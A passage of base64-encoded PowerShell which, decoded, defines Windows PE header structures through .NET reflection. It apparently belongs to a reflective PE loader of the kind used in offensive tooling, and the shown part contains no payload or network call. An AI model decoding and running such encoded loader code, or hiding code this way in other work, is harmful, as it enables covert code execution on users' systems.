TZXRPZmZzZXQoMjMyKSB8IE91dC1OdWxsDQoJCSRJTUFHRV9PUFRJT05BTF9IRUFERVI2NCA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9PUFRJT05BTF9IRUFERVI2NCAtVmFsdWUgJElNQUdFX09QVElPTkFMX0hFQURFUjY0DQoNCgkJI1N0cnVjdCBJTUFHRV9PUFRJT05BTF9IRUFERVIzMg0KCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIEV4cGxpY2l0TGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnSU1BR0VfT1BUSU9OQUxfSEVBREVSMzInLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCAyMjQpDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01hZ2ljJywgJE1hZ2ljVHlwZSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpvckxpbmtlclZlcnNpb24nLCBbQnl0ZV0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JMaW5rZXJWZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNldCgzKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkNvZGUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbml0aWFsaXplZERhdGEnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZVbmluaXRpYWxpemVkRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgxMikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZFbnRyeVBvaW50JywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VPZkNvZGUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQmFzZU9mRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgyNCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdJbWFnZUJhc2UnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjgpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2VjdGlvbkFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgzMikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaWxlQWxpZ25tZW50JywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDM2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yT3BlcmF0aW5nU3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0MCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ4KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yU3Vic3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg1MCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdXaW4zMlZlcnNpb25WYWx1ZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg1MikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbWFnZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg1NikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZIZWFkZXJzJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDYwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NoZWNrU3VtJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY0KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1N1YnN5c3RlbScsICRTdWJTeXN0ZW1UeXBlLCAnUHVibGljJykpLlNldE9mZnNldCg2OCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdEbGxDaGFyYWN0ZXJpc3RpY3MnLCAkRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNzApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mU3RhY2tSZXNlcnZlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDcyKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0YWNrQ29tbWl0JywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDc2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBSZXNlcnZlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoODQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG9hZGVyRmxhZ3MnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoODgpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTnVtYmVyT2ZSdmFBbmRTaXplcycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg5MikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdFeHBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOTYpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1wb3J0VGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEwNCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNvdXJjZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxMTIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRXhjZXB0aW9uVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDZXJ0aWZpY2F0ZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxMjgpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQmFzZVJlbG9jYXRpb25UYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTM2KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlYnVnJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXJjaGl0ZWN0dXJlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNTIpIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnR2xvYmFsUHRyJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjApIHwgT3V0LU51bGwNCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVExTVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE2OCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdMb2FkQ29uZmlnVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE3NikgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdCb3VuZEltcG9ydCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTg0KSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0lBVCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTkyKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlbGF5SW1wb3J0RGVzY3JpcHRvcicsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjAwKSB8IE91dC1OdWxsDQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NMUlJ1bnRpbWVIZWFkZXInLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwOCkgfCBPdXQtTnVsbA0KCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNlcnZlZCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsDQoJCSRJTUFHRV9PUFRJT05BTF9IRUFERVIzMiA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9PUFRJT05BTF9IRUFERVIzMiAtVmFsdWUgJElNQUdFX09QVElPTkFMX0hFQURFUjMyDQoNCgkJI1N0cnVjdCBJTUFHRV9OVF9IRUFERVJTNjQNCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnSU1BR0VfTlRfSEVBREVSUzY0JywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjY0KQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpZ25hdHVyZScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZpbGVIZWFkZXInLCAkSU1BR0VfRklMRV9IRUFERVIsICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnT3B0aW9uYWxIZWFkZXInLCAkSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQsICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRJTUFHRV9OVF9IRUFERVJTNjQgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpDQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVSUzY0IC1WYWx1ZSAkSU1BR0VfTlRfSEVBREVSUzY0DQoJCQ0KCQkjU3RydWN0IElNQUdFX05UX0hFQURFUlMzMg0KCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9OVF9IRUFERVJTMzInLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCAyNDgpDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2lnbmF0dXJlJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRmlsZUhlYWRlcicsICRJTUFHRV9GSUxFX0hFQURFUiwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdPcHRpb25hbEhlYWRlcicsICRJTUFHRV9PUFRJT05BTF9IRUFERVIzMiwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJElNQUdFX05UX0hFQURFUlMzMiA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTMzIgLVZhbHVlICRJTUFHRV9OVF9IRUFERVJTMzINCg0KCQkjU3RydWN0IElNQUdFX0RPU19IRUFERVINCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnSU1BR0VfRE9TX0hFQURFUicsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDY0KQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbWFnaWMnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NibHAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NwJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9jcmxjJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9jcGFyaGRyJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9taW5hbGxvYycsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbWF4YWxsb2MnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9zcCcsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3N1bScsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfaXAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9sZmFybGMnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX292bm8nLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCg0KCQkkZV9yZXNGaWVsZCA9ICRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9yZXMnLCBbVUludDE2W11dLCAnUHVibGljLCBIYXNGaWVsZE1hcnNoYWwnKQ0KCQkkQ29uc3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuVW5tYW5hZ2VkVHlwZV06OkJ5VmFsQXJyYXkNCgkJJEZpZWxkQXJyYXkgPSBAKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbEFzQXR0cmlidXRlXS5HZXRGaWVsZCgnU2l6ZUNvbnN0JykpDQoJCSRBdHRyaWJCdWlsZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkN1c3RvbUF0dHJpYnV0ZUJ1aWxkZXIoJENvbnN0cnVjdG9ySW5mbywgJENvbnN0cnVjdG9yVmFsdWUsICRGaWVsZEFycmF5LCBAKFtJbnQzMl0gNCkpDQoJCSRlX3Jlc0ZpZWxkLlNldEN1c3RvbUF0dHJpYnV0ZSgkQXR0cmliQnVpbGRlcikNCg0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2Vfb2VtaWQnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX29lbWluZm8nLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCg0KCQkkZV9yZXMyRmllbGQgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfcmVzMicsIFtVSW50MTZbXV0sICdQdWJsaWMsIEhhc0ZpZWxkTWFyc2hhbCcpDQoJCSRDb25zdHJ1Y3RvclZhbHVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5Vbm1hbmFnZWRUeXBlXTo6QnlWYWxBcnJheQ0KCQkkQXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21BdHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3RvckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmllbGRBcnJheSwgQChbSW50MzJdIDEwKSkNCgkJJGVfcmVzMkZpZWxkLlNldEN1c3RvbUF0dHJpYnV0ZSgkQXR0cmliQnVpbGRlcikNCg0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbGZhbmV3JywgW0ludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJElNQUdFX0RPU19IRUFERVIgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCQ0KCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0RPU19IRUFERVIgLVZhbHVlICRJTUFHRV9ET1NfSEVBREVSDQoNCgkJI1N0cnVjdCBJTUFHRV9TRUNUSU9OX0hFQURFUg0KCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9TRUNUSU9OX0hFQURFUicsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDQwKQ0KDQoJCSRuYW1lRmllbGQgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ05hbWUnLCBbQ2hhcltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFsJykNCgkJJENvbnN0cnVjdG9yVmFsdWUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLlVubWFuYWdlZFR5cGVdOjpCeVZhbEFycmF5DQoJCSRBdHRyaWJCdWlsZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkN1c3RvbUF0dHJpYnV0ZUJ1aWxkZXIoJENvbnN0cnVjdG9ySW5mbywgJENvbnN0cnVjdG9yVmFsdWUsICRGaWVsZEFycmF5LCBAKFtJbnQzMl0gOCkpDQoJCSRuYW1lRmllbGQuU2V0Q3VzdG9tQXR0cmlidXRlKCRBdHRyaWJCdWlsZGVyKQ0KDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVmlydHVhbFNpemUnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlJhd0RhdGEnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQb2ludGVyVG9SYXdEYXRhJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUG9pbnRlclRvUmVsb2NhdGlvbnMnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQb2ludGVyVG9MaW5lbnVtYmVycycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mUmVsb2NhdGlvbnMnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZkxpbmVudW1iZXJzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQ2hhcmFjdGVyaXN0aWNzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRJTUFHRV9TRUNUSU9OX0hFQURFUiA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9TRUNUSU9OX0hFQURFUiAtVmFsdWUgJElNQUdFX1NFQ1RJT05fSEVBREVSDQoNCgkJI1N0cnVjdCBJTUFHRV9CQVNFX1JFTE9DQVRJT04NCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnSU1BR0VfQkFTRV9SRUxPQ0FUSU9OJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgOCkNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkJsb2NrJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRJTUFHRV9CQVNFX1JFTE9DQVRJT04gPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpDQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfQkFTRV9SRUxPQ0FUSU9OIC1WYWx1ZSAkSU1BR0VfQkFTRV9SRUxPQ0FUSU9ODQoNCgkJI1N0cnVjdCBJTUFHRV9JTVBPUlRfREVTQ1JJUFRPUg0KCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0Jw0KCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9JTVBPUlRfREVTQ1JJUFRPUicsICRBdHRyaWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDIwKQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NoYXJhY3RlcmlzdGljcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGb3J3YXJkZXJDaGFpbicsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ05hbWUnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaXJzdFRodW5rJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRJTUFHRV9JTVBPUlRfREVTQ1JJUFRPUiA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9JTVBPUlRfREVTQ1JJUFRPUiAtVmFsdWUgJElNQUdFX0lNUE9SVF9E